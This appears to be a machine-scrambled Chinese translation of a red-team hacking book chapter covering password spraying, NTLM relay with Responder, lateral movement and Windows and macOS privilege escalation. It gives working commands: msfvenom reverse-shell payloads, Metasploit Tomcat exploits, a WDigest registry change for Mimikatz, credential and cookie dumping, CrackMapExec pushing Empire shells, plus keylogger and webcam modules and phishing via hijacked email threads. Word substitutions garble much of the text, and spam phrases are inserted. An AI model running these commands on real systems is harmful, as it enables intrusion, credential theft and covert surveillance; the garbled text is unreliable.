如前所述,spray.sh 的另一个公正是它还救助 SMB 和 Lync。另一种具备这个秉性的器具称为 Ruler,这个器具还可以对密码喷洒障碍得到的结果进行进一步处理。Ruler 是 Sensepost 安全团队编写的一个器具,它允许你通过 MAPI/HTTP 或 RPC/HTTP 条约与 Exchange 劳动器交互。天然咱们主要谋划使用 Ruler 来进行密码破解/信息采集,然则这个器具也救助一些耐久性疏忽应用障碍,咱们将略微说起这点。
咱们可以用的 Ruler 的第一个功能雷同于 Spray,它通过对用户名和密码进行匹配来进行账号的破解。Ruler 将载入用户名列表和密码,并尝试查找登陆凭证。它将自动寻找 Exchange 劳动器的错误成立并尝试查找登陆凭证。
运行 Ruler:
一朝咱们找到了一个密码,咱们就可以使用 Ruler 来获取 Office 365的全局地址列表(GAL)中的扫数用户,以查找更多的电子邮件地址及其所属的电子邮件组。
咱们络续将获取的这些电子邮件地址通过上头说起的那些密码破解器具来进行破解的尝试,从而得回更多的身份凭证——这就和滚雪球一样。不外,Ruler 的主要用途是,一朝你有了身份凭证,你就可以应用 Office/Outlook 的一些功能来在受害者的电子邮件帐户上创建规则和表单。这里有一篇来自 SensePost 安全团队的著述 outlook-forms-shells,先容了他们是怎样应用这些功能来践诺包含 Empire payload 的宏文献的。
如果你决定不使用 Outlook 表单,或者该功能还是被禁用,咱们的念念路还可以回到对电子邮件的障碍。这可能会让你感到有点急躁,因为你将使用这些普通用户的账号登录并阅读他们的扫数电子邮件。当咱们爽快的阅读某个用户的电子邮件时,咱们会想要和某个他似乎有点信任(但又不算好一又友)的东说念主进行对话。既然还是有了信任的基础,咱们就可以应用这个契机给他发送坏心软件。日常,咱们会批改一次会话,在里面夹带附件(如 Office 文献/可践诺文献),然后从头发给他们,不外这次附件包含了咱们的坏心 payload。在受信任的内网结合和电子邮件之中传递坏心软件,成功掩护了咱们的身份,并使这次行动得回成功。
本书弥远强调的一丝是,通盘障碍行动的目的是为了测试蓝队的挟制检测器具和救急响应进程的效率。咱们行动的主义相称明确,即是不雅察他们是否能够有所警悟。又或者像法医剖解那样,仔细复盘行动中发生的一切。对于本节的实验瞎想,我的想法是验证公司是否能够细目有东说念主正在窃取用户们的电子邮件。是以,咱们要作念的是使用 Python 剧原本获取扫数被破碎的电子邮件。在许厚情况下,这可能是千兆字节的数据!
高等选修实验一个很好的老到是:障碍不同类型的的身份验证劳动并对其进行密码尝试。尝试构建一个密码喷洒(Password Spraying)器具,用于测试针对 XMPP 劳动、常见第三方 SaaS 器具和其他常见条约的身份验证。最好是在多个 VPS 劳动器中践诺此操作,扫数 VPS 劳动器齐由一个主理事器收敛。
通过蚁集移动作为又名红队成员,咱们但愿尽可能安逸地在蚁集中穿梭。咱们但愿使用“特征”来查找和应用关系蚁集、用户、劳动等信息。日常,在红队行为中,咱们不但愿在内网环境中进行任何疏忽扫描关系的行为。有时咱们以至不但愿对里面蚁集运行 nmap 扫描。这是因为许多公司还是相称擅长检测这些类型的扫描,特别是在运行疏忽扫描器这样动静很大的东西时。
在本节中,你将聚拢元气心灵在不触发任何检测防护的情况下在 CSK 的蚁集进行横向漫游。咱们假设你还是以某种方式进入里面蚁集并开首寻找你的第一组凭证,或者还是领有了一个用户机器上的 shell。
建立环境——实验蚁集这部分完全是自界说的,但由于微软的授权收敛,这本书里没法给你还是制作好的的基于 Windows 的实验环境部署环境。是以至于如何作念,就得看你的动手才调了!
确凿学会如何障碍主义环境的唯一方法是我方亲手构建一下主义环境。这能使你更真切地了解你正在障碍什么,为什么障碍有时候有用,有时候无效,并了解某些特定器具或进程的局限性。那么你需要建立什么样的实验环境呢?基于客户端的环境,Windows 和 Linux(以至 Mac)可能齐需要一个。如果你正在障碍企业蚁集,你可能需要构建一个完整的 Active Directory 蚁集(域环境)。鄙人面的实验中,咱们将学习如何为本书中的扫数例子构建一个测试环境。
一个瞎想的 Windows 测试实验环境,你可以我方创建,大要是底下这样的:
域收敛器-劳动器:[Windows 2016域收敛器] Web劳动器:[IIS on Windows 2016] 客户端机器:[Windows 10]x3和 [Windows 7]x2 全部运行着 VMWare 的责任站中,责任站的内存至少16GB,SSD 硬盘500GB成立和创建域收敛器:
微软对于构建2016版劳动器的说明: https://blogs.technet.microsoft.com/canitpro/2017/02/22/step-by-step-setting-up-active-directory-in-windows-server-2016/ 短地址: 装配和成立 Active Directory 之后,使用:dsac.exe 创建用户和组 创建多个用户 创建组并分配给用户(底下是分组): Space Helpdesk Lab接济客户端机器(Windows 7/10)加入域:
将扫数机器齐打好系统补丁 将机器结合到域 https://helpdeskgeek.com/how-to/windows-join-domain/ 确保添加一个域用户,该用户能够作为腹地管制员在每个系统上运行。这可以通过将该域用户添加到腹地机器上的腹地 administrators 组来斥逐。 在每个主机上启用腹地管制员并接济密码将 GPO(组策略)接济为:
禁用防火墙 ( https://www.youtube.com/watch?v=vxXLJSbx1SI ) 禁用 AV( ) 禁用系统自动更新 将 Helpdesk 用户组添加到腹地管制员组 仅允许域管制员、腹地管制员、Helpdesk 登录( ) 临了,将 GPO 接济同步到主域将每个操作系统的扫数用户接济为自动登录(这会使得障碍测试愈加容易)。每次机器启动或从头启动时,它齐会自动登录,这样咱们就可以减弱地进行障碍并从内存中索要凭证:
https://support.microsoft.com/en-us/help/324737/how-to-turn-on-automatic-logon-in-windows 短地址:接济 IIS 劳动器并成立 SPN:
https://www.rootusers.com/how-to-install-iis-in-windows-server-2016/ 短地址: https://support.microsoft.com/en-us/help/929650/how-to-use-spns-when-you-configure-web-applications-that-are-hosted-on 短地址: 在内网中莫得凭证假设你无法通过探伤外部劳动得回任何密码,因此决定潜入大楼里面。你比及午饭后,潜入 Cyber Space Kittens 的办公室,找到抽烟室。即使你不抽烟,但你也知说念抽烟的东说念主有合资神情。你点上一支烟,然则可以不和他们讲话,但当他们走进他们的大楼时,你就可以随着他们一说念进去,减弱极了!
既然你还是闯入了 CSK 的里面环境,你可不想在那里呆太久被收拢。你拿出你相称信任的 drop box,找到一间空办公室,把它插上蚁集,检查你的手机,望望它是否正确传回了 beacon 到了你的家中,证据之后飞速逃回安全的地点。
当你汗出如浆地回到家时候,飞速地找到你的条记本电脑,登陆你的 VPN 劳动器,当你看到阿谁 beacon 还在结合家里的时候,你就可以松一语气了。现在你可以现在用 SSH 结合 beacon,可以逐渐地去拓展受感染主机的里面蚁集,在多个主机之间移动,并尝试拿到你所重视的数据。
Responder就像在上一个行为中一样,咱们使用 Responder 在蚁集上侦听并伪造苦求以得回蚁集上的凭证。回顾一下上本书,当蚁集上的系统践诺查找 DNS 主机名失败时,受害者系统就会使用 Link-Local Multicast Name Resolution(简称 LLMNR)和 Net-BIOS Name Service(NBT-NS)进行回退 DNS 称号解析。当受害者的电脑无法进行 DNS 查找时,他就会开首商量蚁集上的任何东说念主是否知说念该主机名的解析方法。
一个毛糙而通用的例子:假设你电脑里有一个固定的分享硬盘驱动器目次,为:\cyberspacekittenssecretdrive\secrets。有一天,IT 部门从蚁集中删除了分享驱动器,它就不存在了。但由于名为 cyberspacekittenssecretdrive 的劳动器仍然有一个挂载的驱动器,因此系统将络续商量蚁集是否有东说念主知说念此驱动器并复兴它的 IP。天然现在这种文献分享示例可能很有数,然则,由于以前结合的系统很可能不再存在于蚁集上,是以这个问题仍然会发生。咱们还是从已挂载的驱动器、具有硬编码劳动器的应用步调以及许屡次的诞妄成立中看到了这一丝。
咱们可以使用像 Responder 这样的器具来应用那些寻找有主机名的系统,并使用咱们的障碍劳动器对其进行响应。更好的是,Responder 可以更进一步,充任 WPAD(Web Proxy Auto-Discovery Protocol,Web 代理自动发现条约)劳动器,通过咱们的障碍者劳动器代理扫数数据,但这是另一种障碍了。
cd /opt/Responder ./Responder.py -I eth0 –wrf现在,因为咱们处于 Windows 的企业环境中,咱们可以假设它很可能正在运行 Active Directory(行为目次)。因此,如果咱们能够响应来自受害者主机的 DNS 查找苦求,咱们就可以使他们的系统结合到咱们的 SMB 分享劳动。由于它们正在结合到 \cyberspacekittenssecretdrive 驱动器,因此咱们刚毅制受害者使用他的 NTLMv2 凭证(或缓存的凭证)进行身份验证。咱们拿获的这些凭证不是径直的 NTLM 哈希,而是 NTLM 苦求/响应哈希(NTLMv2-SSP)。这些哈希表的唯一污点是,破解它们的速率要比普通的 NTLM 哈希表要慢得多,然则比拟于咱们要进行的大型凭证爆破动作来说,这不是一个大费事。
咱们可以获取 NTLMv2哈希,将其传递给腹地的 hashcat 步调破解此密码。在 hashcat 中,咱们需要指定散列样子 “-m”( https://hashcat.net/wiki/doku.php?id=example_hashes )为 Net-NTLMv2 。
波多野结衣 肛交 hashcat -m 5600 hashes\ntlmssp_hashes.txt passwordlists/*现在,假设咱们并不是的确想破解哈希,或者咱们不在意提醒用户有一些值得可疑的地点。咱们所能作念的是强制一个基自身份验证弹出窗口,而不是领受 -F(ForceWpadAuth)和 -b(basic auth)的要求使用 Net-NTLMv2凭证。
python ./Responder.py -I eth0 -wfFbv从上头的图像中可以看到,用户将被领导输入用户名和密码,大多数东说念主只是奉公遵法的按领导输入。一朝他们提交了他们的用户名和密码,咱们将能够拿获他们的密码明文!
更好的 Responder(MultiRelay.py)使用 Responder 和破解 NTLMv2-SSP 哈希的问题是,破解这些哈希所需的时辰可能很长。更恶运的是,咱们所处的环境中的管制员的密码可能是20多个的字符。那么,在这些情况下咱们能作念什么呢?如果所处环境不彊制践诺 SMB 签名( 咱们可以通过快速的 nmap 剧本扫描找到 - https://nmap.org/nsedoc/scripts/smb-security-mode.html ),咱们可以使用一个秘籍的小技巧来从头播放拿获的 SMB 苦求。
Laurent Gaffie 在 Responder 中加入了一个处理身份验证重放障碍的器具。根据 Laurent 的网站描绘,MultiRelay 是一个坚强的渗入测试实用步调,包含在响应步调器具的文献夹中,小说专区使你能够在采选的主义上践诺主义 NTLMv1 和 NTLMv2 中继器。咫尺还是斥逐多中继将 HTTP、WebDav、代理和 SMB 身份验证传递给 SMB 劳动器。这个器具可以定制为接受一系列用户账户信息来中继到一个主义。这背后的倡导是只针对域管制员、腹地管制员或特权帐户。”[-laurent.blogspot.com/2016/10/introducing-responder-multiray-10.html]
从较高的层面来看,MultiRelay 不会强制受害者对咱们的 SMB 分享进行身份验证,而是将任何含有身份验证的苦求转发给咱们采纳的受害者主机。天然,中继用户需要有另一台机器的造访权限;如果障碍成功,咱们不需要处理任何密码和哈希破解。最先,咱们需要成立咱们的 Responder 和 MultiRelay:
剪辑 Responder 成立文献以禁用 SMB 和 HTTP 劳动器 剪辑 Responder.conf 将 SMB 和 HTTP 调动为 Off 开首 Responder python ./Responder.py -I eth0 -rv 在一个新的终局窗口中启动多中继 /opt/Responder/tools ./MultiRelay.py -t -c -u ALL一朝可以斥逐通过中继结合到受害者主机,咱们就需要商量要在受害者的主机上践诺什么操作。默许情况下,MultiRelay 可以生成一个比较基础的 shell,但咱们也可以自动践诺 Meterpreter PowerShell payloads、Empire PowerShell payloads、dnscat2 PowerShell payloads、PowerShell 剧本(用于下载和践诺 C2代理)、Mimikatz,或者只是运行 calc.exe 作为测试文娱。
参考文献
-tip-skip-cracking-responder-hashes-and-replay-them/ PowerShell Responder一朝咱们障碍进了 Windows 系统,咱们就可以在受害者机器上使用 PowerShell 进行 Responder 障碍。原始 Responder 的两个功能齐可以通过以下两个器具践诺:
Inveigh - https://github.com/Kevin-Robertson/Inveigh/blob/master/Inveigh.ps1 Inveigh-Relay更毛糙的是,这一切齐还是集成在 Empire 中了。
莫得凭证的用户胪列一朝进入了内网中,咱们可以使用 Responder 来得回凭证或 shell,但有时也会发现同期启用 SMB 签名和破解 NTLMv2 SSP 是莫得实质进展的。那即是咱们退一步,从更基础的开首。在不主动扫描蚁集的情况下,咱们需要得回一个用户列表(可能是用于密码爆破,以至是内网垂纶)。
一种采纳是开首针对域收敛器胪列用户。如果是早些时候(回到2003年),咱们可以尝试践诺 RID 轮回来得回扫数用户帐户的列表。天然现在不可用了,但爆破帐户还有其他采纳。一种采纳即是应用 Kerberos:
nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.realm=“cyberspacekittens.local”,userdb=/opt/userlist.txt咱们将需要提供一个要测试的用户名列表,然则由于咱们只是查询 DC(域收敛器)而莫得对其进行身份验证,因此日常此行动不会被检测。现在,咱们可以领受这些用户帐户,并再次开首密码猜解!
使用 CrackMapExec(CME)扫描蚁集如果咱们还莫得成功入侵进一个系统,然则咱们确乎通过 Responder、诞妄成立的 Web 应用步调、暴力破解或通过打印机得回了登录凭证,那么咱们可以尝试扫描蚁集,望望这个帐户可以登录到那儿。使用像 CrackMapExec(CME)这样的器具进行毛糙的扫描可以匡助找到里面蚁集上的驱动进口点。
昔时,咱们使用 CME 扫描蚁集、通过蚁集上的 SMB 进行象征/身份验证、对许多主机长途践诺呐喊,以至通过 Mimikatz 索要明证书证。Empire 和 CME 齐领有了一些新秉性,咱们可以应用 Empire 的 REST 秉性。鄙人面的场景中,咱们将使用其 REST API 启动 Empire,在 CME 中成立密码,让 CME 结合到 Empire,使用咱们领有的单一凭证扫描蚁集,临了,如果成功完成身份验证,则自动将 Empire 的 payload 推送到长途受害者的系统。如果你有一个 helpdesk 或高权限帐户,那就准备好加载 Empire shell 吧!
启动 Empire 的 REST API 劳动器 cd /opt/Empire ./empire --rest --password ‘hacktheuniverse’ 调动 CrackMapExec 密码 打开 /root/.cme/cme.conf password=hacktheuniverse 运行 CME 来生成 Empire shells cme smb 10.100.100.0/24 -d ‘cyberspacekittens.local’ -u ‘’ -p ‘’ -M empire_exec -o LISTENER=http 在攻陷你的第一台机器之后当你通过社会工程、drop box、Responder、障碍打印机或通过其他障碍得回对主机的造访权限后,下一步要作念什么?这是一个相称浩瀚的问题。
在昔时,你需要作念的一切,是了解你身在何处和左近的蚁集环境。咱们可能最先运行雷同于“netstat -ano”的呐喊来查找受害者的劳动器、域和用户的 IP 范围的位置。咱们还可以运行呐喊,如 ps 或 sc queryex type= service state= all | find “_NAME” 列出扫数正在运行的劳动,并寻找杀毒软件或其他主机基础保护。底下是一些咱们领先可能运行的其他示例呐喊:
蚁集信息:
netstat -anop | findstr LISTEN net group “Domain Admins” /domain进程列表:
tasklist /v系统主机信息:
sysinfo Get-WmiObject -class win32 operatingsystem | select -property * | exportcsv c:\temp\os.txt wmic qfe get Caption,Description,HotFixID,InstalledOn毛糙的文献搜索:
dir /s password findstr /s /n /i /p foo * findstr /si pass *.txt | *.xml | *.ini来自分享/挂载驱动器的信息:
powershell -Command “get-WmiObject -class Win32_Share” powershell -Command “get-PSDrive” powershell -Command “Get-WmiObject -Class Win32_MappedLogicalDisk | select Name, ProviderName”让咱们现实一丝,莫得东说念主有时辰记着扫数的呐喊,然则咱们很红运!我相信,我相信咱们可以在一个名为 RTFM.py 的器具中减弱搜索到这些呐喊,这是 @leostat 基于 RTFM 册本(很棒的资源)创建的一个快速查询的 Python 剧本,其中包含大批这些浅显的呐喊。
更新并运行 RTFM cd /opt/rtfm chmod +x rtfm.py ./rtfm.py -u ./rtfm.py -c ‘rtfm’ 搜索扫数标签 ./rtfm.py -Dt 观望每个标记的扫数查询/呐喊。我心爱用的一个是胪列类 ./rtfm.py -t enumeration | more现在,RTFM 相称平庸,有许多不同的有用呐喊。这是一个络续快速更新的优秀的资源。
这些齐是咱们为了获取信息而一直在作念的事情,然则如果咱们能从环境中得回更多呢?使用 PowerShell,咱们可以得回所需的蚁集和环境信息。任何救助 C2 的器具齐能减弱践诺 PowerShell ,因此可以使用 Empire、Metasploit 或 Cobalt Strike 来践诺这些操作。鄙人面的例子中,咱们将使用 Empire ,你也可以尝试其他器具。
权限耕作从普通用户到高权限帐户有许多不同的方式。
未被援用劳动旅途:
这是一个绝顶毛糙和常见的疏忽,其中劳动可践诺旅途莫得被引号括起来。这是很容易被应用的,因为如果旅途周围莫得引号,咱们就会应用当前劳动。假设咱们有一个劳动被成立为践诺 C:\Program Files (x86)\Cyber Kittens\Cyber Kittens.exe。如果咱们有 CK 文献夹的写入权限,咱们可以将其替换为 C:\Program Files (x86)\Cyber Kittens\Cyber.exe(扎眼,原称号中的 Kittens.exe 消失了)的坏心软件。如果劳动在系统上运行,咱们可以比及劳动从头启动,并让咱们的坏心软件作为一个 system 帐户运行。 如何找到易受障碍的劳动旅途: 通过 wmic 劳动获取称号、扎眼 displayname、pathname、startmode |findstr /i "Auto" |findstr /i /v "C:\Windows" | findstr /i /v """ 寻找 BINARY_PATH_NAME查找劳动中存在的不安全的注册表权限:
识别允许更新劳动映像旅途位置的弱权限账户检查 AlwaysInstallElevated 注册表项是否已启用:
检查 AlwaysInstallElevated 注册表项,该注册表项指示.msi 文献应以较高的权限 ( NT AUTHORITY\SYSTEM ) 装配 https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/always_install_elevated.rb请扎眼,咱们并不需要手动完成这些操作,因为别东说念主还是创建了一些好的 metasploit 和 PowerShell 模块,特别是针对 Windows 的模块。鄙人面的示例中,咱们将观望 PowerUp PowerShell 剧本。在这种情况下,剧本与 Empire 一说念在扫数常见的诞妄成立区域运行查找,比如允许普通用户得回腹地管制或系统帐户。鄙人面的示例中,咱们在受害者系统上运行这个步调,发现它有一些腹地系统的未援用劳动旅途。现在,咱们可能无法从头启动劳动,但咱们应该能够应用这个疏忽,恭候劳动重启。
Empire PowerUp 模块: usermodule privesc/powerup/allchecks最隆起的是:
ServiceName: WavesSysSvc Path: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe ModifiableFile: C:\Program Files\Waves\MaxxAudio\WavesSysSvc64.exe ModifiableFilePermissions: {WriteOwner, Delete, WriteAttributes, Synchronize…} ModifiableFileIdentityReference: Everyone StartName: LocalSystem看起来任何东说念主齐可以编写 WavesSysSyc 劳动。这意味着咱们可以将 WaveSysSvc64.exe 文献替换为咱们我方的坏心二进制文献:
创建一个 Meterpreter 二进制文献(后续的著述将谋划如何绕过杀毒软件) msfvenom -p windows/meterpreter/reverse_https LHOST=[ip] LPORT=8080 -f exe > shell.exe 使用 Empire 上传二进制文献并替换原始二进制文献 upload ./shell.exe C:\users\test\shell.exe shell copy C:\users\test\Desktop\shell.exe “C:\ProgramFiles\Waves\MaxxAudio\WavesSysSvc64.exe” 从头启动劳动或恭候其重启一朝劳动从头启动,你你应该会收到一个升级为 system 权限的 Meterpreter shell 。使用 PowerUp powershell 剧本,你将发现许多不同的劳动齐会有权限耕作的可能性。如果你想深入了解 Windows 权限耕作的底层问题,请观望 FuzzSecurity 的著述: 。
对于未打补丁的 Windows 系统,咱们确乎有一些权限升级障碍,比如:( https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1 )和 ( https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/Sample-Exploits/MS16-135 ),然则咱们如何快速识别主义系统上装配了哪些补丁呢,咱们可以在受害者系统上使用系统默许自带的呐喊来观望装配了哪些系统补丁包。Windows 自带默许呐喊systeminfo 将索要任何给定的 Windows 主机的扫数补丁装配历史纪录。咱们可以拿回这个输出结果,将其复制到咱们的 Kali 系统并运行 Windows Exploit Suggester 以查找已知的疏忽然后针对性的进行疏忽应用从而耕作权限。
回到你障碍的 Windows 10系统:
systeminfo systeminfo > windows.txt 将 windows.txt 复制到你的 Kali 臆造机的 /opt/Windows-Exploit-Suggester 下 python ./windows-exploit-suggester.py -i ./windows.txt -d 2018-03-21-mssb.xls这个器具还是有一段时辰莫得被重视了,然则你照旧可以减弱地从中寻找到你正需要的能权限耕作的疏忽。
如果咱们处在一个还是打好扫数补丁的 Windows 主机环境中,咱们将重心关注第三方软件中的不同权限耕作疏忽或操作系统的任何 0day 疏忽。举例,咱们一直在寻找底下这样的疏忽 ,这是 Windows 中的权限升级疏忽,现在还莫得修补。日常在这些场景中,可能会有一些基本的 POC 代码,然则咱们需要测试、验证并屡次复现这个疏忽。咱们通常监控某些领域存在群众特权升级的疏忽:
?q=privilege escalation https://bugs.chromium.org/p/project-zero/issues/list?can=1&q=escalation&colspec=ID+Type+Status+Priority+Milestone+Owner+Summary&cells=ids日常,这只是时辰问题。举例,当发现疏忽时,这可能是你在系统打好补丁之前进一步破碎系统有限的好契机。
权限耕作实验测试并尝试不同类型的权限升级疏忽的最好实验环境是 Rapid7的 Metasploitable3。这个充满疏忽的框架会自动生成一个 Windows 臆造机,其中包含扫数常见的和不常见的疏忽。成立需要一丝时辰,然则一朝成立好了臆造机,它即是一个相称棒的实验环境。
让咱们来看一个毛糙的例子,然后快速开首:
使用 nmap 扫描 Metasploitable3 臆造机的IP ( 确保全端口扫描免得你错过一些端口 ) 你将看到 ManageEngine 在端口8383上运行 启动 Metasploit 并搜索任何 ManageEngine 关系的疏忽 msfconsole search manageengine use exploit/windows/http/manageengine_connectionid_write set SSL True set RPORT 8383 set RHOST < Your IP> exploit getsystem 你会扎眼到你不成得回 system 权限,因为你所应用的劳动未作为特权程度运行。这时,你能作念到的即是尝试扫数不同的权限耕作障碍。 其中,咱们看到的一件事是,Apache Tomcat 是作为特权程度运行的。如果咱们可以应用这个劳动,咱们就可以将咱们的 payload 作为更高头绪的劳动运行。咱们看到 Apache Tomcat 在外部蚁集的8282端口运行,但它需要用户名和密码。因为咱们有一个腹地低权限的 shell,咱们可以尝试在磁盘上搜索这个密码。咱们可以在谷歌搜索“Tomcat密码存储在那儿”,搜索结果表明:“tomcat-users.xml”。 在受害者机器中,咱们可以搜索和读取 tomcat-users.xml 文献: shell cd \ && dir /s tomcat-users.xml type “C:\Program Files\Apache Software Foundation\tomcat\apache-tomcat-8.0.33\conf\tomcat-users.xml 现在让咱们使用找到的密码障碍 Tomcat。最先,登录到8282端口上的 Tomcat 管制收敛台,并观望咱们的密码是否有用。然后,咱们可以使用 Metasploit 通过 Tomcat 部署坏心的 WAR 文献。 search tomcat use exploit/multi/http/tomcat_mgr_upload show options set HTTPusername sploit set HTTPpassword sploit set RPORT 8282 set RHOST < Metasploitable3_IP> set Payload java/shell_reverse_tcp set LHOST < Your IP> exploit whoami 你现在应该是 system 权限了。咱们应用第三方的器具(tomcat)来耕作权限到 system 权限。 从内存中索要明证书据Mimikatz 自推出以来,就改变了在渗入入侵中获取明文密码的方式。在 Windows 10之前,以腹地管制员的身份在主机系统上运行 Mimikatz 的话是允许障碍者从 lsass(腹地安全机构子系统劳动)中索要明文密码的。这种方法在 Windows 10 出现之前相称有用,而在 windows 10 中,即使你是腹地管制员,也无法径直读取它。现在,我看到了一些奇怪的甘愿,其中单点登录( SSO )或者一些特殊的软件会把密码保存在 LSASS 程度中让 Mimikatz 读取,然则咱们现在先忽略这个。在这一章中,咱们将谋划当这件方法(指 SSO 和特殊的软件)不责任时该作念什么(比如在 Windows 10系统中)。
假设你障碍了 Windows 10系统的主机况兼耕作权限了,默许情况下,你将调养 Mimikatz 的成立,并根据底下的查扣问看到密码字段为空。
那么你能作念什么呢?最毛糙的选项是接济注册表项以让系统将密码凭证保存到 LSASS 程度。在 HKLM 中,有一个 UseLogonCredential 接济,如果接济为0,系统将在内存中存储凭证( ):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 在 Empire 中,咱们可以通过 shell 呐喊运行: shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f这个注册表修改的问题即是需要用户从头登录到系统。你可以让主义机器屏幕锁屏、从头启动或刊出用户,以便你能够拿获然后再次发送凭证文本。最毛糙的方法是锁定他们的责任机器(这样他们就不会丢失他们确当前的责任...望望我有多好!)。要触发锁屏:
rundll32.exe user32.dll,LockWorkStation一朝咱们锁定屏幕,并让它们从头登录,咱们就可以从头运行 Mimikatz 来得回明文密码。
如果咱们无法耕作到腹地管制帐户如何办?咱们还有哪些其他方法可以得回用户的凭证?在昔时,一个常见的渗入障碍是在客户机的用户空间内存中观望凭证是否以明体裁式存储。现在一切齐是基于浏览器的,咱们能在浏览器中作念同样的事情吗?
在这里,putterpanda 将和一个很酷的 POC 器具在一说念来完成这个任务,称为 Mimikittenz。Mimikittenz 所作念的即是应用 Windows 函数 ReadProcessMemory()来索要来自各式主义程度(如浏览器)的密码,并输出纯文本。
Mimikitten 救助 Gmail,Office365,Outlook Web,Jira,Github,Bugzilla,Zendesk,Cpanel,Dropbox,Microsoft OneDrive,AWS Web 劳动、Slack、Twitter 和 Facebook。编写 Mimimikittenz 搜索抒发式也很容易。
这个器具最好的地点在于它不需要腹地管制员权限,因为他只需要造访那些用户自身创建的程度。一朝咱们障碍进了主机,咱们将把 Mimimikittenz 导入内存,并运行 Invoke-mimikittenz 剧本。
正如上头所看到的,用户通过 Firefox 登录到 Github 中,咱们可以从浏览器内存中索要他们的用户名和密码。现在,我但愿这本书的读者齐能把这个器具用的越来越高等,为不同的应用步调创建更多的搜索查询。
从 Windows 凭证管制器和浏览器获取密码Windows 凭证管制器是 Windows 的默许功能,用于保存系统、网站和劳动器的用户名、密码和证书。记不记恰当你使用 Microsoft IE/EDGE 对网站进行身份验证后,日常会弹出一个弹出窗口,商量“是否要保存密码?”凭证存储即是存储这些信息的地点,在凭证管制器中,有两种类型的凭证:Web 和 Windows。你还牢记哪个用户有权造访这些数据吗?它不是 system,而是登录后可以检索此信息的用户。这对咱们来说是很好的,就像任何垂纶网站或代码践诺一样,咱们日常齐可以用别的方法得回阿谁用户的权限。最好的一丝是,咱们以至不需要成为腹地管制员来索要这些数据。
如何索要这些信息呢?咱们可以使用两种不同的 PowerShell 剧本导入以采集此数据:
采集蚁集凭证: https://github.com/samratashok/nishang/blob/master/Gather/Get-WebCredentials.ps1 采集 Windows 凭证(只采集通用的而不是主义域特有的): https://github.com/peewpw/Invoke-WCMDump/blob/master/Invoke-WCMDump.ps1从上图中可以看到,咱们索要了他们的 Facebook 存储的凭证和任何他们领有通用的凭证。记着,对于 Web 凭证,Get-WebCredentials 只可从 Internet Explorer/Edge 获取密码。如果咱们需要从 Chrome 获取,咱们可以使用 Empire payload 的 powershell/collection/ChromeDump。在获取之前,要运行 ChromeDump 的话,最先需要终止 Chrome 程度,然后运行 ChromeDump,临了,我心爱拉取下载扫数的浏览器历史和 cookies。 咱们不仅可以了解他们的里面劳动器的大批信息,而且,如果他们的会话仍然存在,咱们也可以使用他们的 cookies 和身份验证,而不必知说念他们的密码!
使用如下 PowerShell 剧本:https://github.com/sekirkity/browsergather ,咱们可以索要扫数浏览器 cookies,并通过咱们的浏览器应用这些 cookies,然则扫数这些 cookies 齐莫得耕作权限的功能。
接下来,咱们以至可以开首在受害者系统上可能装配的扫数第三方软件中寻找劳动器和凭证。一个叫作念 SessionGopher 的器具可以从 winscp、putty、superputty、filezilla 和 microsoft 长途桌面获取主机名和保存密码。还有一个其他功能是能够从蚁集上的其他系统长途获取它的腹地凭证,启动 sessiongopher 的最毛糙方法是导入 PowerShell 剧本并践诺使用:
Load PowerShell File: . .\SessionGopher.ps1 Execute SessionGopher Invoke-SessionGopher -Thorough咱们可以通过以下几种方式从主机系统获取凭证,而无需耕作权限、绕过 UAC 或使用键盘纪录器。因为咱们是在用户的系统会话中,是以咱们可以造访主机上的许多资源,以匡助咱们络续障碍。
从 OSX 获取腹地凭证和信息本书内的大部分横向开通聚拢在 Windows 上。这是因为险些扫数中大型环境齐使用 Active Directory 来管制其系统和主机。咱们每年齐能看到越来越多的 Mac 电脑,是以但愿本书的内容也稍带说起一下 MAC。一朝进入一个 MAC 主机的内网环境,许多障碍就雷同于在 Windows 主机环境中的障碍(即扫描默许凭证、Jenkin 等应用步调障碍,嗅探蚁集,并通过 SSH 或 VNC 横向移动)。
有多个渗入障碍框架的 payload 救助 Mac,我最心爱的是使用 Empire。Empire 可以生成多个 payload 来拐骗受害者践诺咱们的代理,其中包括 Ducky scripts、二进制可践诺步调、Office 宏、Safari 启动步调、pkg 装配包等等。举例,咱们可以创建一个和 Windows 主机适用的 PowerShell Empire 中的 Office 宏:
打开 Empire 最先,确保你能像咱们在本书的开始所作念的那样接济你的 Empire 监听器 接下来,咱们需要构建一个 OSX 宏的 payload 接济要写入腹地文献系统的输出文献 生成 Payload如果你观望生成的 Office 宏,你将看到它只是由 Python 践诺的 Base64代码。红运的是,Python 是 Mac 上的默许应用步调,当践诺这个宏时,咱们应该得到 agent beacon。
要在 Mac 中创建坏心 Exce l文献,咱们可以打开一个新的 Excel 责任表,转到“器具”,观望宏,然后在此责任簿中创建宏,一朝 Microsoft Visual Basic 打开,就删除扫数当前代码并将其替换为扫数新的宏代码。临了,将其保存为 XLSM 文献。
现在,把你的坏心文献发送给你的主义障碍者,看着 Empire 大展神威。在受害者那边,一朝他们打开 Excel 文献,就会出现这样的情况:
确保创建了一个合理的情形,让他们单击“启用宏”。
一朝你的代理结合回你的 Empire 劳动器,接下来的操作和窥探阶段就相称相似了。咱们需要:
转储浏览器信息和密码:usemodule collection/osx/browser_dump启用键盘纪录器:
usemodule collection/osx/keylogger让应用步调领导获取密码:
usemodule collection/osx/prompt弥远打开电脑录像头拍照:
usemodule collection/osx/webcam应用 Windows 域环境的腹地应用步调进行障碍
同样,鄙人面的示例中,咱们将使用 PowerShell Empire。天然,你还可以使用 Metasploit、Cobalt Strike 等雷同的障碍框架进行同样的障碍。只须你有才调将 PowerShell 剧本导入内存,况兼能够绕过主机系统的任何防护,用什么其实并不浩瀚。
现在的你还是完全空置了受害者的主机,从他们的责任东机偷走了扫数的微妙,还了解一些受害者浏览的网站,并运行了一些雷同 netstat 的呐喊进行窥探责任...那接下来是什么?
